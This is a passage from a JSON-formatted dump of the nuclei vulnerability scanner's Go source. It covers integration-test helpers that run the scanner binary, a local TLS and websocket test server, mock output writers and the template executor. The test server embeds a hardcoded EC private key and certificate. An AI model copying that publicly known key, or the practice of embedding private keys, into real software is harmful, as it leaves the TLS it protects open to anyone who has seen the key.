err.Error(), data)\n\t}\n\treturn parts, nil\n}\n\n// RunNucleiArgsAndGetErrors returns a list of errors in nuclei output (ERR,WRN,FTL)\nfunc RunNucleiArgsAndGetErrors(debug bool, env []string, extra ...string) ([]string, error) {\n\tcmd := exec.Command(\"./nuclei\")\n\textra = append(extra, ExtraDebugArgs...)\n\tcmd.Env = append(os.Environ(), env...)\n\tcmd.Args = append(cmd.Args, extra...)\n\tcmd.Args = append(cmd.Args, \"-duc\") // disable auto updates\n\tcmd.Args = append(cmd.Args, \"-interactions-poll-duration\", \"1\")\n\tcmd.Args = append(cmd.Args, \"-interactions-cooldown-period\", \"10\")\n\tcmd.Args = append(cmd.Args, \"-allow-local-file-access\")\n\tcmd.Args = append(cmd.Args, \"-nc\") // disable color\n\tcmd.Env = append(cmd.Env, ExtraEnvVars...)\n\tdataOutput, err := cmd.CombinedOutput()\n\tif debug {\n\t\tfmt.Println(string(dataOutput))\n\t}\n\tvar data string\n\tif len(dataOutput) > 0 {\n\t\tdata = strings.TrimSpace(conversion.String(dataOutput))\n\t}\n\tresults := []string{}\n\tfor _, v := range strings.Split(data, \"\\n\") {\n\t\tline := strings.TrimSpace(v)\n\t\tswitch {\n\t\tcase strings.HasPrefix(line, \"[ERR]\"):\n\t\t\tresults = append(results, line)\n\t\tcase strings.HasPrefix(line, \"[WRN]\"):\n\t\t\tresults = append(results, line)\n\t\tcase strings.HasPrefix(line, \"[FTL]\"):\n\t\t\tresults = append(results, line)\n\t\t}\n\t}\n\treturn results, err\n}\n\n// RunNucleiArgsWithEnvAndGetResults returns a list of results in nuclei output (ERR,WRN,FTL)\nfunc RunNucleiArgsWithEnvAndGetResults(debug bool, env []string, extra ...string) ([]string, error) {\n\tcmd := exec.Command(\"./nuclei\")\n\textra = append(extra, ExtraDebugArgs...)\n\tcmd.Env = append(os.Environ(), env...)\n\tcmd.Env = append(cmd.Env, ExtraEnvVars...)\n\tcmd.Args = append(cmd.Args, extra...)\n\tcmd.Args = append(cmd.Args, \"-duc\") // disable auto updates\n\tcmd.Args = append(cmd.Args, \"-interactions-poll-duration\", \"5\")\n\tcmd.Args = append(cmd.Args, \"-interactions-cooldown-period\", \"10\")\n\tcmd.Args = append(cmd.Args, \"-allow-local-file-access\")\n\tif debug {\n\t\tcmd.Args = append(cmd.Args, \"-debug\")\n\t\tcmd.Stderr = os.Stderr\n\t\tfmt.Println(cmd.String())\n\t} else {\n\t\tcmd.Args = append(cmd.Args, \"-silent\")\n\t}\n\tdataOutput, err := cmd.Output()\n\tvar data string\n\tif len(dataOutput) > 0 {\n\t\tdata = strings.TrimSpace(conversion.String(dataOutput))\n\t}\n\tif debug {\n\t\tfmt.Println(data)\n\t}\n\tvar parts []string\n\titems := strings.Split(data, \"\\n\")\n\tfor _, i := range items {\n\t\tif i != \"\" {\n\t\t\tparts = append(parts, i)\n\t\t}\n\t}\n\tif (data == \"\" || len(parts) == 0) && err != nil {\n\t\treturn nil, fmt.Errorf(\"%v: %v\", err.Error(), data)\n\t}\n\treturn parts, nil\n}\n\nvar templateLoaded = regexp.MustCompile(`(?:Templates|Workflows) loaded[^:]*: (\\d+)`)\n\n// RunNucleiBinaryAndGetLoadedTemplates returns a list of results for a template\nfunc RunNucleiBinaryAndGetLoadedTemplates(nucleiBinary string, debug bool, args []string) (string, error) {\n\tcmd := exec.Command(nucleiBinary, args...)\n\tcmd.Env = append(cmd.Env, ExtraEnvVars...)\n\tcmd.Args = append(cmd.Args, \"-duc\") // disable auto updates\n\tif debug {\n\t\tcmd.Args = append(cmd.Args, \"-debug\")\n\t\tfmt.Println(cmd.String())\n\t}\n\tdata, err := cmd.CombinedOutput()\n\tif debug {\n\t\tfmt.Println(string(data))\n\t}\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tmatches := templateLoaded.FindAllStringSubmatch(string(data), -1)\n\tif len(matches) == 0 {\n\t\treturn \"\", errors.New(\"no matches found\")\n\t}\n\treturn matches[0][1], nil\n}\nfunc RunNucleiBinaryAndGetCombinedOutput(debug bool, args []string) (string, error) {\n\targs = append(args, \"-interactions-cooldown-period\", \"10\", \"-interactions-poll-duration\", \"1\")\n\tcmd := exec.Command(\"./nuclei\", args...)\n\tcmd.Env = append(cmd.Env, ExtraEnvVars...)\n\tif debug {\n\t\tcmd.Args = append(cmd.Args, \"-debug\")\n\t\tfmt.Println(cmd.String())\n\t}\n\tdata, err := cmd.CombinedOutput()\n\tif debug {\n\t\tfmt.Println(string(data))\n\t}\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn string(data), nil\n}\n\n// TestCase is a single integration test case\ntype TestCase interface {\n\t// Execute executes a test case and returns any errors if occurred\n\tExecute(filePath string) error\n}\n\n// TCPServer creates a new tcp server that returns a response\ntype TCPServer struct {\n\tURL      string\n\tlistener net.Listener\n}\n\n// keys taken from https://pascal.bach.ch/2015/12/17/from-tcp-to-tls-in-go/\nconst serverKey = `-----BEGIN EC PARAMETERS-----\nBgUrgQQAIg==\n-----END EC PARAMETERS-----\n-----BEGIN EC PRIVATE KEY-----\nMIGkAgEBBDBJazGwuqgOLsCMr7P56w26JBEHQokiuAy2iCQfCnmOWm7S9FveQ/DP\nqB69zvUPs26gBwYFK4EEACKhZANiAARehvy96ygCAsJ6iQvthzl/Nvq4P3c4MGyx\nUMLMe0L10OCxeCl5ZY2CuFf8UnBgV1u414U4+yjIrS57w1/3utBKC9TVRGj+Vcls\n2NZ4+8Jh6/M/Jf/Mpd8QyIy0WesEUM4=\n-----END EC PRIVATE KEY-----\n`\n\nconst serverCert = `-----BEGIN CERTIFICATE-----\nMIICJDCCAakCCQDFa0/D9jJw6DAKBggqhkjOPQQDAjB7MQswCQYDVQQGEwJVUzEP\nMA0GA1UECAwGcGRsYW5kMQ8wDQYDVQQHDAZwZGNpdHkxCzAJBgNVBAoMAnBkMQsw\nCQYDVQQLDAJwZDELMAkGA1UEAwwCcGQxIzAhBgkqhkiG9w0BCQEWFGFueXRoaW5n\nQGFueXRoaW5nLnBkMB4XDTIyMDEyNzIyMDUwNFoXDTMyMDEyNTIyMDUwNFowezEL\nMAkGA1UEBhMCVVMxDzANBgNVBAgMBnBkbGFuZDEPMA0GA1UEBwwGcGRjaXR5MQsw\nCQYDVQQKDAJwZDELMAkGA1UECwwCcGQxCzAJBgNVBAMMAnBkMSMwIQYJKoZIhvcN\nAQkBFhRhbnl0aGluZ0Bhbnl0aGluZy5wZDB2MBAGByqGSM49AgEGBSuBBAAiA2IA\nBF6G/L3rKAICwnqJC+2HOX82+rg/dzgwbLFQwsx7QvXQ4LF4KXlljYK4V/xScGBX\nW7jXhTj7KMitLnvDX/e60EoL1NVEaP5VyWzY1nj7wmHr8z8l/8yl3xDIjLRZ6wRQ\nzjAKBggqhkjOPQQDAgNpADBmAjEAgxGPbjRlhz+1Scmr6RU9VbzVJWN8KCsTTpx7\npqfmKpJ29UYReZN+fm/6fc5vkv1rAjEAkTuTf8ARSn1UiKlCTTDQVtCoRcMVLQQp\nTCxxGzcAlUAAJE6+SJpY7fPRe+n2EvPS\n-----END CERTIFICATE-----\n`\n\n// NewTCPServer creates a new TCP server from a handler\nfunc NewTCPServer(tlsConfig *tls.Config, port int, handler func(conn net.Conn)) *TCPServer {\n\tserver := &TCPServer{}\n\n\tl, err := net.Listen(\"tcp\", fmt.Sprintf(\"127.0.0.1:%d\", port))\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tserver.URL = l.Addr().String()\n\tserver.listener = l\n\n\tif tlsConfig != nil {\n\t\tcer, err := tls.X509KeyPair([]byte(serverCert), []byte(serverKey))\n\t\tif err != nil {\n\t\t\tpanic(err)\n\t\t}\n\t\ttlsConfig.Certificates = []tls.Certificate{cer}\n\t}\n\n\tgo func() {\n\t\tfor {\n\t\t\t// Listen for an incoming connection.\n\t\t\tconn, err := l.Accept()\n\t\t\tif err != nil {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\t// Handle connections in a new goroutine.\n\t\t\tif tlsConfig != nil {\n\t\t\t\tconnTls := tls.Server(conn, tlsConfig)\n\t\t\t\tgo handler(connTls)\n\t\t\t} else {\n\t\t\t\tgo handler(conn)\n\t\t\t}\n\t\t}\n\t}()\n\treturn server\n}\n\n// Close closes the TCP server\nfunc (s *TCPServer) Close() {\n\t_ = s.listener.Close()\n}\n\n// NewWebsocketServer creates a new websocket server from a handler\nfunc NewWebsocketServer(path string, handler func(conn net.Conn), originValidate func(origin string) bool, port ...int) *httptest.Server {\n\thandlerFunc := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tif value := r.Header.Get(\"Origin\"); value != \"\" && !originValidate(value) {\n\t\t\tw.WriteHeader(http.StatusBadRequest)\n\t\t\treturn\n\t\t}\n\t\tconn, _, _, err := ws.UpgradeHTTP(r, w)\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t\tgo func() {\n\t\t\tdefer func() {\n\t\t\t\t_ = conn.Close()\n\t\t\t}()\n\n\t\t\thandler(conn)\n\t\t}()\n\t})\n\n\tif path != \"\" {\n\t\trouter := httprouter.New()\n\t\trouter.HandlerFunc(\"*\", \"/test\", handlerFunc)\n\t\treturn httptest.NewServer(router)\n\t}\n\treturn httptest.NewServer(handlerFunc)\n}\n"
  },
  {
    "path": "pkg/testutils/testheadless/headless_local.go",
    "content": "//go:build headless_local\n\npackage testheadless\n\n// HeadlessLocal determines if local headless chrome should be used in tests\nconst HeadlessLocal = true\n"
  },
  {
    "path": "pkg/testutils/testheadless/headless_runtime.go",
    "content": "//go:build !headless_local\n\npackage testheadless\n\n// HeadlessLocal determines if local headless chrome should be used in tests\nconst HeadlessLocal = false\n"
  },
  {
    "path": "pkg/testutils/testutils.go",
    "content": "package testutils\n\nimport (\n\t\"context\"\n\t\"encoding/base64\"\n\t\"os\"\n\t\"time\"\n\n\t\"github.com/projectdiscovery/ratelimit\"\n\t\"go.uber.org/multierr\"\n\n\t\"github.com/logrusorgru/aurora\"\n\n\t\"github.com/projectdiscovery/gologger/levels\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/catalog/config\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/catalog/disk\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model/types/severity\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/output\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/progress\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolinit\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolstate\"\n\tprotocolUtils \"github.com/projectdiscovery/nuclei/v3/pkg/protocols/utils\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/utils\"\n\tunitutils \"github.com/projectdiscovery/utils/unit\"\n)\n\n// Init initializes the protocols and their configurations\nfunc Init(options *types.Options) {\n\t_ = protocolstate.Init(options)\n\t_ = protocolinit.Init(options)\n}\n\n// Cleanup cleans up the protocols and their configurations\nfunc Cleanup(options *types.Options) {\n\tprotocolstate.Close(options.ExecutionId)\n}\n\n// DefaultOptions is the default options structure for nuclei during mocking.\nvar DefaultOptions = &types.Options{\n\tMetrics:                    false,\n\tDebug:                      false,\n\tDebugRequests:              false,\n\tDebugResponse:              false,\n\tSilent:                     false,\n\tVerbose:                    false,\n\tNoColor:                    true,\n\tUpdateTemplates:            false,\n\tJSONL:                      false,\n\tOmitRawRequests:            false,\n\tEnableProgressBar:          false,\n\tTemplateList:               false,\n\tStdin:                      false,\n\tStopAtFirstMatch:           false,\n\tNoMeta:                     false,\n\tProject:                    false,\n\tMetricsPort:                0,\n\tBulkSize:                   25,\n\tTemplateThreads:            10,\n\tTimeout:                    5,\n\tRetries:                    1,\n\tRateLimit:                  150,\n\tRateLimitDuration:          time.Second,\n\tProbeConcurrency:           50,\n\tProjectPath:                \"\",\n\tSeverities:                 severity.Severities{},\n\tTargets:                    []string{},\n\tTargetsFilePath:            \"\",\n\tOutput:                     \"\",\n\tProxy:                      []string{},\n\tTraceLogFile:               \"\",\n\tTemplates:                  []string{},\n\tExcludedTemplates:          []string{},\n\tCustomHeaders:              []string{},\n\tInteractshURL:              \"https://oast.fun\",\n\tInteractionsCacheSize:      5000,\n\tInteractionsEviction:       60,\n\tInteractionsCoolDownPeriod: 5,\n\tInteractionsPollDuration:   5,\n\tGitHubTemplateRepo:         []string{},\n\tGitHubToken:                \"\",\n}\n\n// TemplateInfo contains info for a mock executed template.\ntype TemplateInfo struct {\n\tID   string\n\tInfo model.Info\n\tPath string\n}\n\n// NewMockExecuterOptions creates a new mock executeroptions struct\nfunc NewMockExecuterOptions(options *types.Options, info *TemplateInfo) *protocols.ExecutorOptions {\n\tprogressImpl, _ := progress.NewStatsTicker(0, false, false, false, 0)\n\texecuterOpts := &protocols.ExecutorOptions{\n\t\tOutput:       NewMockOutputWriter(options.OmitTemplate),\n\t\tOptions:      options,\n\t\tProgress:     progressImpl,\n\t\tProjectFile:  nil,\n\t\tIssuesClient: nil,\n\t\tBrowser:      nil,\n\t\tCatalog:      disk.NewCatalog(config.DefaultConfig.TemplatesDirectory),\n\t\tRateLimiter:  ratelimit.New(context.Background(), uint(options.RateLimit), time.Second),\n\t}\n\n\tif info != nil {\n\t\texecuterOpts.TemplateInfo = info.Info\n\t\texecuterOpts.TemplateID = info.ID\n\t\texecuterOpts.TemplatePath = info.Path\n\t}\n\n\texecuterOpts.CreateTemplateCtxStore()\n\n\treturn executerOpts\n}\n\n// NoopWriter is a NooP gologger writer.\ntype NoopWriter struct{}\n\n// Write writes the data to an output writer.\nfunc (n *NoopWriter) Write(data []byte, level levels.Level) {}\n\n// MockOutputWriter is a mocked output writer.\ntype MockOutputWriter struct {\n\taurora          aurora.Aurora\n\tomitTemplate    bool\n\tRequestCallback func(templateID, url, requestType string, err error)\n\tFailureCallback func(result *output.InternalEvent)\n\tWriteCallback   func(o *output.ResultEvent)\n}\n\n// NewMockOutputWriter creates a new mock output writer\nfunc NewMockOutputWriter(omomitTemplate bool) *MockOutputWriter {\n\treturn &MockOutputWriter{aurora: aurora.NewAurora(false), omitTemplate: omomitTemplate}\n}\n\n// Close closes the output writer interface\nfunc (m *MockOutputWriter) Close() {}\n\n// Colorizer returns the colorizer instance for writer\nfunc (m *MockOutputWriter) Colorizer() aurora.Aurora {\n\treturn m.aurora\n}\n\nfunc (m *MockOutputWriter) ResultCount() int {\n\treturn 0\n}\n\n// Write writes the event to file and/or screen.\nfunc (m *MockOutputWriter) Write(result *output.ResultEvent) error {\n\tif m.WriteCallback != nil {\n\t\tm.WriteCallback(result)\n\t}\n\treturn nil\n}\n\n// Request writes a log the requests trace log\nfunc (m *MockOutputWriter) Request(templateID, url, requestType string, err error) {\n\tif m.RequestCallback != nil {\n\t\tm.RequestCallback(templateID, url, requestType, err)\n\t}\n}\n\n// WriteFailure writes the event to file and/or screen.\nfunc (m *MockOutputWriter) WriteFailure(wrappedEvent *output.InternalWrappedEvent) error {\n\t// if failure event has more than one result, write them all\n\tif len(wrappedEvent.Results) > 0 {\n\t\terrs := []error{}\n\t\tfor _, result := range wrappedEvent.Results {\n\t\t\tresult.MatcherStatus = false // just in case\n\t\t\tif err := m.Write(result); err != nil {\n\t\t\t\terrs = append(errs, err)\n\t\t\t}\n\t\t}\n\t\tif len(errs) > 0 {\n\t\t\treturn multierr.Combine(errs...)\n\t\t}\n\t\treturn nil\n\t}\n\n\t// create event\n\tevent := wrappedEvent.InternalEvent\n\ttemplatePath, templateURL := utils.TemplatePathURL(types.ToString(event[\"template-path\"]), types.ToString(event[\"template-id\"]), types.ToString(event[\"template-verifier\"]))\n\tvar templateInfo model.Info\n\tif ti, ok := event[\"template-info\"].(model.Info); ok {\n\t\ttemplateInfo = ti\n\t}\n\tfields := protocolUtils.GetJsonFieldsFromURL(types.ToString(event[\"host\"]))\n\tif types.ToString(event[\"ip\"]) != \"\" {\n\t\tfields.Ip = types.ToString(event[\"ip\"])\n\t}\n\tif types.ToString(event[\"path\"]) != \"\" {\n\t\tfields.Path = types.ToString(event[\"path\"])\n\t}\n\tdata := &output.ResultEvent{\n\t\tTemplate:      templatePath,\n\t\tTemplateURL:   templateURL,\n\t\tTemplateID:    types.ToString(event[\"template-id\"]),\n\t\tTemplatePath:  types.ToString(event[\"template-path\"]),\n\t\tInfo:          templateInfo,\n\t\tType:          types.ToString(event[\"type\"]),\n\t\tPath:          fields.Path,\n\t\tHost:          fields.Host,\n\t\tPort:          fields.Port,\n\t\tScheme:        fields.Scheme,\n\t\tURL:           fields.URL,\n\t\tIP:            fields.Ip,\n\t\tRequest:       types.ToString(event[\"request\"]),\n\t\tResponse:      types.ToString(event[\"response\"]),\n\t\tMatcherStatus: false,\n\t\tTimestamp:     time.Now(),\n\t\t//FIXME: this is workaround to encode the template when no results were found\n\t\tTemplateEncoded: m.encodeTemplate(types.ToString(event[\"template-path\"])),\n\t\tError:           types.ToString(event[\"error\"]),\n\t}\n\treturn m.Write(data)\n}\n\nfunc (m *MockOutputWriter) RequestStatsLog(statusCode, response string) {}\n\nvar maxTemplateFileSizeForEncoding = unitutils.Mega\n\nfunc (w *MockOutputWriter) encodeTemplate(templatePath string) string {\n\tdata, err := os.ReadFile(templatePath)\n\tif err == nil && !w.omitTemplate && len(data) <= maxTemplateFileSizeForEncoding && config.DefaultConfig.IsCustomTemplate(templatePath) {\n\t\treturn base64.StdEncoding.EncodeToString(data)\n\t}\n\treturn \"\"\n}\n\nfunc (m *MockOutputWriter) WriteStoreDebugData(host, templateID, eventType string, data string) {}\n\ntype MockProgressClient struct{}\n\n// Stop stops the progress recorder.\nfunc (m *MockProgressClient) Stop() {}\n\n// Init inits the progress bar with initial details for scan\nfunc (m *MockProgressClient) Init(hostCount int64, rulesCount int, requestCount int64) {}\n\n// AddToTotal adds a value to the total request count\nfunc (m *MockProgressClient) AddToTotal(delta int64) {}\n\n// IncrementRequests increments the requests counter by 1.\nfunc (m *MockProgressClient) IncrementRequests() {}\n\n// SetRequests sets the counter by incrementing it with a delta\nfunc (m *MockProgressClient) SetRequests(count uint64) {}\n\n// IncrementMatched increments the matched counter by 1.\nfunc (m *MockProgressClient) IncrementMatched() {}\n\n// IncrementErrorsBy increments the error counter by count.\nfunc (m *MockProgressClient) IncrementErrorsBy(count int64) {}\n\n// IncrementFailedRequestsBy increments the number of requests counter by count\n// along with errors.\nfunc (m *MockProgressClient) IncrementFailedRequestsBy(count int64) {}\n"
  },
  {
    "path": "pkg/tmplexec/README.md",
    "content": "# tmplexec\n\ntmplexec also known as template executer executes template it is different from `protocols` package which only contains logic within the scope of one protocol. tmplexec is responsible for executing `Template` with defined logic. with introduction of `multi protocol` and `flow` templates (deprecated package protocols/common/executer) did not seem appropriate/helpful anymore as it is outside of protocol scope and deals with execution of template which can contain 1 requests , or multiple requests of same protocol or multiple requests of different protocols. tmplexec is responsible for executing template and handling all logic related to it.\n\n## Engine/Backends\n\nCurrently there are 3 engines for template execution\n\n- `Generic` => executes request[s] of same/one protocol\n- `MultiProtocol` => executes requests of multiple protocols with shared logic between protocol requests see [multiprotocol](multiproto/README.md)\n- `Flow` => executes requests of one or multiple protocol requests as specified by template in javascript (aka flow) [flow](flow/README.md) "
  },
  {
    "path": "pkg/tmplexec/doc.go",
    "content": "package tmplexec\n\n// tmplexec is package that provides\n// template executors it is one level higher than protocols\n// and deals with execution of entire template\n"
  },
  {
    "path": "pkg/tmplexec/exec.go",
    "content": "package tmplexec\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n\t\"strings\"\n\t\"sync/atomic\"\n\t\"time\"\n\n\t\"github.com/Mzack9999/goja\"\n\t\"github.com/projectdiscovery/gologger\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/js/compiler\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators/common/dsl\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/output\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/helpers/writer\"\n\tprotocolUtils \"github.com/projectdiscovery/nuclei/v3/pkg/protocols/utils\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/scan\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/scan/events\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/tmplexec/flow\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/tmplexec/generic\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/tmplexec/multiproto\"\n\t\"github.com/projectdiscovery/utils/errkit\"\n)\n\n// TemplateExecutor is an executor for a template\ntype TemplateExecuter struct {\n\trequests []protocols.Request\n\toptions  *protocols.ExecutorOptions\n\tengine   TemplateEngine\n\tresults  *atomic.Bool\n\tprogram  *goja.Program\n}\n\n// Both executer & Executor are correct spellings (its open to interpretation)\n\nvar _ protocols.Executer = &TemplateExecuter{}\n\n// NewTemplateExecuter creates a new request TemplateExecuter for list of requests\nfunc NewTemplateExecuter(requests []protocols.Request, options *protocols.ExecutorOptions) (*TemplateExecuter, error) {\n\te := &TemplateExecuter{requests: requests, options: options, results: &atomic.Bool{}}\n\tif options.Flow != \"\" {\n\t\t// we use a dummy input here because goal of flow executor at this point is to just check\n\t\t// syntax and other things are correct before proceeding to actual execution\n\t\t// during execution new instance of flow will be created as it is tightly coupled with lot of executor options\n\t\tp, err := compiler.SourceAutoMode(options.Flow, false)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"could not compile flow: %s\", err)\n\t\t}\n\t\te.program = p\n\t} else {\n\t\t// only use generic if there is only 1 protocol with only 1 section\n\t\tif len(requests) == 1 {\n\t\t\te.engine = generic.NewGenericEngine(requests, options, e.results)\n\t\t} else {\n\t\t\te.engine = multiproto.NewMultiProtocol(requests, options, e.results)\n\t\t}\n\t}\n\treturn e, nil\n}\n\n// Compile compiles the execution generators preparing any requests possible.\nfunc (e *TemplateExecuter) Compile() error {\n\tcliOptions := e.options.Options\n\n\tfor _, request := range e.requests {\n\t\tif err := request.Compile(e.options); err != nil {\n\t\t\tvar dslCompilationError *dsl.CompilationError\n\t\t\tif errors.As(err, &dslCompilationError) {\n\t\t\t\tif cliOptions.Verbose {\n\t\t\t\t\trawErrorMessage := dslCompilationError.Error()\n\t\t\t\t\tformattedErrorMessage := strings.ToUpper(rawErrorMessage[:1]) + rawErrorMessage[1:] + \".\"\n\n\t\t\t\t\tgologger.Warning().Msg(formattedErrorMessage)\n\t\t\t\t\tgologger.Info().Msgf(\"The available custom DSL functions are:\")\n\n\t\t\t\t\tfmt.Println(dsl.GetPrintableDslFunctionSignatures(cliOptions.NoColor))\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn err\n\t\t}\n\t}\n\tif e.engine == nil && e.options.Flow != \"\" {\n\t\t// this is true for flow executor\n\t\treturn nil\n\t}\n\treturn e.engine.Compile()\n}\n\n// Requests returns the total number of requests the rule will perform\nfunc (e *TemplateExecuter) Requests() int {\n\tvar count int\n\tfor _, request := range e.requests {\n\t\tcount += request.Requests()\n\t}\n\treturn count\n}\n\n// Execute executes the protocol group and returns true or false if results were found.\nfunc (e *TemplateExecuter) Execute(ctx *scan.ScanContext) (bool, error) {\n\n\t// === when nuclei is built with -tags=stats ===\n\t// Note: this is no-op (empty functions) when nuclei is built in normal or without -tags=stats\n\tevents.AddScanEvent(events.ScanEvent{\n\t\tTarget:       ctx.Input.MetaInput.Input,\n\t\tTime:         time.Now(),\n\t\tEventType:    events.ScanStarted,\n\t\tTemplateType: e.getTemplateType(),\n\t\tTemplateID:   e.options.TemplateID,\n\t\tTemplatePath: e.options.TemplatePath,\n\t\tMaxRequests:  e.Requests(),\n\t})\n\tdefer func() {\n\t\tevents.AddScanEvent(events.ScanEvent{\n\t\t\tTarget:       ctx.Input.MetaInput.Input,\n\t\t\tTime:         time.Now(),\n\t\t\tEventType:    events.ScanFinished,\n\t\t\tTemplateType: e.getTemplateType(),\n\t\t\tTemplateID:   e.options.TemplateID,\n\t\t\tTemplatePath: e.options.TemplatePath,\n\t\t\tMaxRequests:  e.Requests(),\n\t\t})\n\t}()\n\t// ==== end of stats ====\n\n\t// executed contains status of execution if it was successfully executed or not\n\t// doesn't matter if it was matched or not\n\texecuted := &atomic.Bool{}\n\t// matched in this case means something was exported / written to output\n\tmatched := &atomic.Bool{}\n\t// callbackCalled tracks if the callback was called or not\n\tcallbackCalled := &atomic.Bool{}\n\tdefer func() {\n\t\t// it is essential to remove template context of `Scan i.e template x input pair`\n\t\t// since it is of no use after scan is completed (regardless of success or failure)\n\t\te.options.RemoveTemplateCtx(ctx.Input.MetaInput)\n\t}()\n\n\tvar lastMatcherEvent *output.InternalWrappedEvent\n\twriteFailureCallback := func(event *output.InternalWrappedEvent, matcherStatus bool) {\n\t\tif !matched.Load() && matcherStatus {\n\t\t\tif err := e.options.Output.WriteFailure(event); err != nil {\n\t\t\t\tgologger.Warning().Msgf(\"Could not write failure event to output: %s\\n\", err)\n\t\t\t}\n\t\t\texecuted.CompareAndSwap(false, true)\n\t\t}\n\t}\n\n\tctx.OnResult = func(event *output.InternalWrappedEvent) {\n\t\tcallbackCalled.Store(true)\n\t\tif event == nil {\n\t\t\t// something went wrong\n\t\t\treturn\n\t\t}\n\t\t// check for internal true matcher event\n\t\tif event.HasOperatorResult() && event.OperatorsResult.Matched && event.OperatorsResult.Operators != nil {\n\t\t\t// note all matchers should have internal:true if it is a combination then print it\n\t\t\tallInternalMatchers := true\n\t\t\tfor _, matcher := range event.OperatorsResult.Operators.Matchers {\n\t\t\t\tif allInternalMatchers && !matcher.Internal {\n\t\t\t\t\tallInternalMatchers = false\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t\tif allInternalMatchers {\n\t\t\t\t// this is a internal event and no meant to be printed\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\n\t\t// If no results were found, and also interactsh is not being used\n\t\t// in that case we can skip it, otherwise we've to show failure in\n\t\t// case of matcher-status flag.\n\t\tif !event.HasOperatorResult() && event.InternalEvent != nil {\n\t\t\tlastMatcherEvent = event\n\t\t} else {\n\t\t\tvar isGlobalMatchers bool\n\t\t\tisGlobalMatchers, _ = event.InternalEvent[\"global-matchers\"].(bool)\n\t\t\t// NOTE(dwisiswant0): Don't store `matched` on a `global-matchers` template.\n\t\t\t// This will end up generating 2 events from the same `scan.ScanContext` if\n\t\t\t// one of the templates has `global-matchers` enabled. This way,\n\t\t\t// non-`global-matchers` templates can enter the `writeFailureCallback`\n\t\t\t// func to log failure output.\n\t\t\twr := writer.WriteResult(event, e.options.Output, e.options.Progress, e.options.IssuesClient)\n\t\t\tif wr && !isGlobalMatchers {\n\t\t\t\tmatched.Store(true)\n\t\t\t} else {\n\t\t\t\tlastMatcherEvent = event\n\t\t\t}\n\t\t}\n\t}\n\tvar errx error\n\n\t// Note: this is required for flow executor\n\t// flow executer is tightly coupled with lot of executor options\n\t// and map , wg and other types earlier we tried to use (compile once and run multiple times)\n\t// but it is causing lot of panic and nil pointer dereference issues\n\t// so in compile step earlier we compile it to validate javascript syntax and other things\n\t// and while executing we create new instance of flow executor everytime\n\tif e.options.Flow != \"\" {\n\t\tflowexec, err := flow.NewFlowExecutor(e.requests, ctx, e.options, executed, e.program)\n\t\tif err != nil {\n\t\t\tctx.LogError(err)\n\t\t\treturn false, fmt.Errorf(\"could not create flow executor: %s\", err)\n\t\t}\n\t\tif err := flowexec.Compile(); err != nil {\n\t\t\tctx.LogError(err)\n\t\t\treturn false, err\n\t\t}\n\t\terrx = flowexec.ExecuteWithResults(ctx)\n\t} else {\n\t\terrx = e.engine.ExecuteWithResults(ctx)\n\t}\n\tctx.LogError(errx)\n\n\tif lastMatcherEvent != nil {\n\t\tlastMatcherEvent.Lock()\n\t\tdefer lastMatcherEvent.Unlock()\n\n\t\tlastMatcherEvent.InternalEvent[\"error\"] = getErrorCause(ctx.GenerateErrorMessage())\n\n\t\twriteFailureCallback(lastMatcherEvent, e.options.Options.MatcherStatus)\n\t}\n\n\t// Fallback: if callback was never called and matcher-status is enabled,\n\t// create a synthetic failure event. This handles edge cases where protocol\n\t// implementations return early without invoking the callback (e.g., context\n\t// cancellation, early validation errors). Most error paths now invoke the\n\t// callback directly, but this remains as a safety net.\n\t// Note: ClusterExecuter has equivalent fallback logic in pkg/templates/cluster.go\n\tif !callbackCalled.Load() && e.options.Options.MatcherStatus {\n\t\t// Parse URL fields from the input\n\t\tfields := protocolUtils.GetJsonFieldsFromURL(ctx.Input.MetaInput.Input)\n\t\tfakeEvent := &output.InternalWrappedEvent{\n\t\t\tResults: []*output.ResultEvent{\n\t\t\t\t{\n\t\t\t\t\tTemplateID:   e.options.TemplateID,\n\t\t\t\t\tTemplatePath: e.options.TemplatePath,\n\t\t\t\t\tInfo:         e.options.TemplateInfo,\n\t\t\t\t\tType:         e.getTemplateType(),\n\t\t\t\t\tHost:         fields.Host,\n\t\t\t\t\tPort:         fields.Port,\n\t\t\t\t\tScheme:       fields.Scheme,\n\t\t\t\t\tURL:          fields.URL,\n\t\t\t\t\tPath:         fields.Path,\n\t\t\t\t\tTimestamp:    time.Now(),\n\t\t\t\t\tError:        getErrorCause(ctx.GenerateErrorMessage()),\n\t\t\t\t},\n\t\t\t},\n\t\t\tOperatorsResult: &operators.Result{\n\t\t\t\tMatched: false,\n\t\t\t},\n\t\t}\n\t\twriteFailureCallback(fakeEvent, 